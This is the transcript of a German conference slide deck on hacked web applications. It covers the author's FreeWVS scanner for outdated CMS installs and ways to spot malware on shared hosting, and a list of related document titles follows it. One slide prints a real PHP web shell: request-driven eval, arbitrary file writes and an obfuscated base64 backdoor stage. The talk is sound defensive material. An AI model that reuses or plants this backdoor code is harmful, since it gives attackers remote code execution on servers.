Gehackte Webapplikationen und Malware

17

Click here to load reader

description

Beliebte Webanwendungen und Content-Management-Systeme haben regelmäßig Sicherheitslücken. Nutzer müssen diese Anwendungen regelmäßig updaten, aber viele Betreiber von Webseiten sind sich dessen nicht bewusst. Im Rahmen des Betriebs von Servern mit einigen Hundert Kunden habe ich das Tool FreeWVS entwickelt, mit dem sich Webanwendungen mit bekannten Sicherheitslücken erkennen lassen. Wenn man Updates versäumt, tauchen fast zwangsweise irgendwann gehackte Webanwendungen auf. Diese aufzuspüren ist aber nicht unbedingt trivial. Wenn es zu spät ist, wird der eigene Server unter Umständen zur Spamschleuder oder wird für DDoS-Attacken missbraucht.

Transcript of Gehackte Webapplikationen und Malware

Page 1: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Gehackte Webapplikationen und Malware

Hanno Bock, Lizenz: CC0 / Public Domain

2014-04-11

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 2: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

VorstellungBeispielMotivationVeraltete Webanwendungen

I Betreibe kleinen Webhoster (schokokeks.org), Fokus aufDatenschutz, Sicherheit, freie Software

I Zahlen: 2 Admins, ca. 300 Kunden, 1000 Domains, 1500Web-Vhosts, 500 erkannte Webanwendungen

I Serverbetrieb fur mich Nebenverdienst, hauptberuflich freierJournalist

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 3: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

VorstellungBeispielMotivationVeraltete Webanwendungen

Your IP: x.x.x.x - Part of Ababil/”No Problem Bro” DDOSattackWe are contacting you on behalf of [...]. They are currently undera DDOS attack, that is being perpetuated from this host on yournetwork: x.x.x.xThey have so far seen this much traffic coming from the node:107576316 bytes 1453734 packetsThis is part of the Operation Ababil, or ”It’s OK, No ProblemBro”, DDOS attack that is being sent upon various financialinstitutions in the United States.

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 4: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

VorstellungBeispielMotivationVeraltete Webanwendungen

I Gehackte Webanwendungen bedeuten Streß - nicht nur furden Betreiber der Seite, sondern insbesondere auch fur denAdmin

I Serverlast steigt unerklarlich

I Spam-Blacklisten

I Ubergeordneter Provider beschwert sich und erwartet Reaktion

I Strafverfolgungsbehorden (bei uns noch nie passiert)

I Brauchen Strategien fur ganzen Server, nicht fur einzelneWebseiten

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 5: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

VorstellungBeispielMotivationVeraltete Webanwendungen

I Konkretes Beispiel war ein Joomla 1.7.0, damals ca. 1 Jahr alt

I Derartige Vorkommnisse verstarkt seit etwa 2012, davor fastnie

I Alle(!) derartigen Ereignisse bei uns mit hoherWahrscheinlichkeit aufgrund von veralteten Webanwendungen

I Fazit: Updaten bevor etwas passiert ist die beste Strategie

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 6: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

FreeWVSSchwierigkeiten beim ErkennenUser informierenEntwicklung von FreeWVSProblem Webseiten heute

I FreeWVS erkennt Webanwendungen und Version aufDateisystemebene

I Enthalt eine Datenbank mit jeweils letzter Sicherheitslucke(wenn moglich CVE, sonst URL) und sicherer Version

I Unterscheidet nicht nach schwere der Sicherheitslucke,betrachtet nur jeweils jungstes Problem

I Python, freie Software (CC0)

I https://source.schokokeks.org/freewvs/

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 7: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

FreeWVSSchwierigkeiten beim ErkennenUser informierenEntwicklung von FreeWVSProblem Webseiten heute

I Es gibt keine allgemeingultige Strategie zum Erkennen vonWebapps

I Versionsnummer nicht im Tarball, nur in Doku, nur gesplittet

I Seltsame Versionsnummernkonzepte (DokuWiki: 2013-12-08,auch schon gesehen: 1.2 neuer als 1.11)

I Oft unterschiedliche Erkennungsstrategien fur unterschiedlicheMajor-Versionen

I Angenehm ist sowas: $wp version = ’3.8.2’;

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 8: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

FreeWVSSchwierigkeiten beim ErkennenUser informierenEntwicklung von FreeWVSProblem Webseiten heute

I User konnen sich wahlweise taglich, wochentlich odermonatlich informieren lassen

I Nicht abschaltbar!

I Problem: Wird haufig ignoriert

I Vielen Usern nicht klar dass Webanwendungen betreut werdenmussen

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 9: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

FreeWVSSchwierigkeiten beim ErkennenUser informierenEntwicklung von FreeWVSProblem Webseiten heute

I Bislang fast nur intern entwickelt, wenig Feedback von extern

I Update-Mechanismus nicht optimal (im Moment: svn up;make install)

I Konnten viel mehr Webanwendungen aufnehmen,insbesondere Plugins

I Patches welcome!

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 10: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

FreeWVSSchwierigkeiten beim ErkennenUser informierenEntwicklung von FreeWVSProblem Webseiten heute

I Fruher: Webdesigner erstellt HTML-Seite

I Zwischendurch: Webdesigner erstellt PHP

I Heute: Webdesigner erstellt Theme fur einfach zu bedienende,kostenlose Webanwendungen

I Problem: Wer kummert sich um Updates? Oft: Niemand

I Losung manchmal: HTML-Dump von CMS

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 11: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Wenn es zu spat istPHP-ShellVon Hand erkennenMalware erkennenOffene Fragen

I Bei uns bislang keine Defacements via SQL-Injection odergeklauten Zugangsdaten beobachtet (wir benutzen schonimmer SFTP)

I Nur: Spam, DDoS-Attacken und (am haufigsten) abgelegtePHP-Shells

I Oft: Grund fur Angriff unklar, PHP-Shell ”fur spater”

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 12: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Wenn es zu spat istPHP-ShellVon Hand erkennenMalware erkennenOffene Fragen

$huqcyw = ”777564599393bc96823bdf64b6f221d5”;if(isset($ REQUEST[’epji’])) { $kumwnkyc = $ REQUEST[’epji’];eval($kumwnkyc); exit(); } if(isset($ REQUEST[’qfwdstnd’])) {$rpjvrsf = $ REQUEST[’wuefsoa’]; $kopi =$ REQUEST[’qfwdstnd’]; $mzwjcpc = fopen($kopi, ’w’); $sshhbcz= fwrite($mzwjcpc, $rpjvrsf); fclose($mzwjcpc); echo $sshhbcz;exit();

eval ( base64 decode (”IGlmICggaXNz-ZXQoICRfQ09PS0lFWydkd2MnXSkgKSB7IGVjaG8gJzxjd2Q+JyAuIGdldGN3ZCgpIC4gJzwvY3dkPic7IH0gaWYgKCBpc3NldCAoICRfUE9TVFsncGU4MCddICkgKSB7IGV2YWwgKCBiYXNlNjRfZGVjb2RlICggJF9QT1NUWydwZTgwJ10gKSApOyByZXR1cm47IH0gIGlmICggaXNzZXQoICRfQ09PS0lFWydwZTgwJ10pICkgeyBldmFsICggYmFzZTY0X2RlY29kZSAoICRfQ09PS0lFWydwZTgwJ10gKSApOyByZXR1cm47IH0g”) ); }

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 13: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Wenn es zu spat istPHP-ShellVon Hand erkennenMalware erkennenOffene Fragen

I Kombinationen aus eval, gzinflate, base64 decode undahnlichem

I Problem: Oft auch sowas in legitimem PHP-Code (oftThemes) als Code-Obfuscation

I Decodieren: eval durch echo ersetzen

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 14: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Wenn es zu spat istPHP-ShellVon Hand erkennenMalware erkennenOffene Fragen

I Webroots mit ClamAV scannen - erkennt viel, aber langstnicht alles

I LinuxMalwareDetect (maldet) - etwas umstandlich in derBedienung, aber erkennt einiges

I Auch einige proprietare Virenscanner fur Linux verfugbar,kostenlos meist nur zum privatgebrauch

I Problem: Erkennungsrate praktisch immer unter 50 %

I Erstes Codebeispiel von vorhin: damals 0 auf Virustotal, jetzt1/51

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 15: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Wenn es zu spat istPHP-ShellVon Hand erkennenMalware erkennenOffene Fragen

I Strategien zur generischen Erkennung von PHP-Shells? Solltenicht zu schwer sein, kenne aber keine Software.

I Wie / an wen Malware am besten reporten?

I Erkennen von Hacks in Form von Datenbankeintragen /Artikeln / Defacements?

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 16: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Sichere Webanwendungen

I Wenn ihr Webanwendungen programmiert: Benutzt PreparedStatements und Content Security Policy!

I Konsequent eingesetzt verhindern Prepared Statements alleSQL-Injections und Content Security Policy alle Cross SiteScripting-Fehler - Großteil aller Web-Vulnerabilities

I Fehlerklassen verhindern statt einzelne Fehler

I Aber: Hatte in meisten Fallen bei uns vermutlich nichtsgenutzt (Probleme mit File Upload oder Remote CodeExecution)

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware

Page 17: Gehackte Webapplikationen und Malware

EinleitungFreeWVS

GehacktExkurs

Ende

Schlussfolgerung

I Ein Großteil der Angriffe lasst sich durch aktuelle Softwareverhindern

I Angriffe verhindern ist immer besser als Angriffe spatererkennen

I Moglichkeiten angegriffene Webseiten zu finden unzuverlassigund unbefriedigend

Hanno Bock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware


Verhindern von Malware-Ausbreitung in Datennetzen

Verhindern von Malware-Ausbreitung in Datennetzen

AMAVIS UND KASPERSKY VS. MALWARE - Linux … · Title: AMAVIS UND KASPERSKY VS. MALWARE Author: Roland Imme Subject: Chemnitzer Linux-Tage 2014 Created Date: 3/17/2014 10:51:31 AM

AMAVIS UND KASPERSKY VS. MALWARE - Linux … · Title: AMAVIS UND KASPERSKY VS. MALWARE Author: Roland Imme Subject: Chemnitzer Linux-Tage 2014 Created Date: 3/17/2014 10:51:31 AM

ARGUMENTATIONSPAPIER MPM Digital Publishing Center · Webapplikationen und marktführende Adobe-Soft-ware sorgen für jederzeitige Kostenkontrolle. 11 Automatisierte Marketingprozesse,

ARGUMENTATIONSPAPIER MPM Digital Publishing Center · Webapplikationen und marktführende Adobe-Soft-ware sorgen für jederzeitige Kostenkontrolle. 11 Automatisierte Marketingprozesse,

Hoodie - Webapplikationen ohne backend

Hoodie - Webapplikationen ohne backend

Malware-Such- und Cleanup-Tool für Standalone-PCs ... · * TMPS2 sucht nicht nach Malware auf Verwaltungscomputern. * Auf der lokalen * Auf der lokalen Festplatte des zu durchsuchenden

Malware-Such- und Cleanup-Tool für Standalone-PCs ... · * TMPS2 sucht nicht nach Malware auf Verwaltungscomputern. * Auf der lokalen * Auf der lokalen Festplatte des zu durchsuchenden

Clusteranalyse von Malware basierend auf Installationsgraphen

Clusteranalyse von Malware basierend auf Installationsgraphen

1 Automated malware audit service Automatischer Malware Audit.

1 Automated malware audit service Automatischer Malware Audit.

Malware in Unternehmen: Verbreitung und Massnahmen · − Malware, die sich selbst ohne Zutun des Benutzers verbreitet. Trojaner − Malware, die sich verdeckt hält und spioniert,

Malware in Unternehmen: Verbreitung und Massnahmen · − Malware, die sich selbst ohne Zutun des Benutzers verbreitet. Trojaner − Malware, die sich verdeckt hält und spioniert,

DATENSICHERHEIT VON WEBAPPLIKATIONEN · DATENSICHERHEIT VON WEBAPPLIKATIONEN ALS EINES DER TOP-THEMEN 2017 Das Thema Security hat im letzten Jahr ja bereits zu Recht deutlich an Fahrt

DATENSICHERHEIT VON WEBAPPLIKATIONEN · DATENSICHERHEIT VON WEBAPPLIKATIONEN ALS EINES DER TOP-THEMEN 2017 Das Thema Security hat im letzten Jahr ja bereits zu Recht deutlich an Fahrt

Wie schütze ich mich vor Malware?

Wie schütze ich mich vor Malware?

Wenn Malware mobil macht: Mobile Bedrohungen 2004–2016 · Wenn Malware mobil macht: Mobile Bedrohungen 2004–2016 Cabir Erster Wurm, der auf Symbian Series 60 Geräte abzielt.

Wenn Malware mobil macht: Mobile Bedrohungen 2004–2016 · Wenn Malware mobil macht: Mobile Bedrohungen 2004–2016 Cabir Erster Wurm, der auf Symbian Series 60 Geräte abzielt.

ESET - Malware Kurzgeschichte

ESET - Malware Kurzgeschichte

Malware - Gernoth · „sammeln“ Malware zur Erkennung & Analyse von Angriffsmethoden und –mustern ! Firewalls/Virenscanner ! Faktor Mensch ! Bewusstsein für Sicherheit muss

Malware - Gernoth · „sammeln“ Malware zur Erkennung & Analyse von Angriffsmethoden und –mustern ! Firewalls/Virenscanner ! Faktor Mensch ! Bewusstsein für Sicherheit muss

Self-Propagating Malware Containment via Reinforcement ...

Self-Propagating Malware Containment via Reinforcement ...

Hacker and Malware (Pictures)

Hacker and Malware (Pictures)

A9 Mobile Security - · PDF file– Malware-Analyse – Forensics ... “Examining the recent Android malware”, ... “A Look at a Modern Mobile Security Model:

A9 Mobile Security - · PDF file– Malware-Analyse – Forensics ... “Examining the recent Android malware”, ... “A Look at a Modern Mobile Security Model:

Malware Protection Test...- 1 - Anti-Virus Comparative Malware Protection Test Dateierkennungstest mit Ausführung einschließlich Fehlalarmtest Letzte Überarbeitung: 12. April 2017

Malware Protection Test...- 1 - Anti-Virus Comparative Malware Protection Test Dateierkennungstest mit Ausführung einschließlich Fehlalarmtest Letzte Überarbeitung: 12. April 2017

Aspekte der IT- Sicherheit im E-Business Schadsoftware (Malware)

Aspekte der IT- Sicherheit im E-Business Schadsoftware (Malware)

Datensicherheit von Webapplikationen - Whitepaper

Datensicherheit von Webapplikationen - Whitepaper

Malware Threats und Trend - EICAR · Malware Threats und Trend November 16, 2012 ... And then Devil said: Let there be money ... Virus and Bots PUP Trojan Cyber Crime – der treibende

Malware Threats und Trend - EICAR · Malware Threats und Trend November 16, 2012 ... And then Devil said: Let there be money ... Virus and Bots PUP Trojan Cyber Crime – der treibende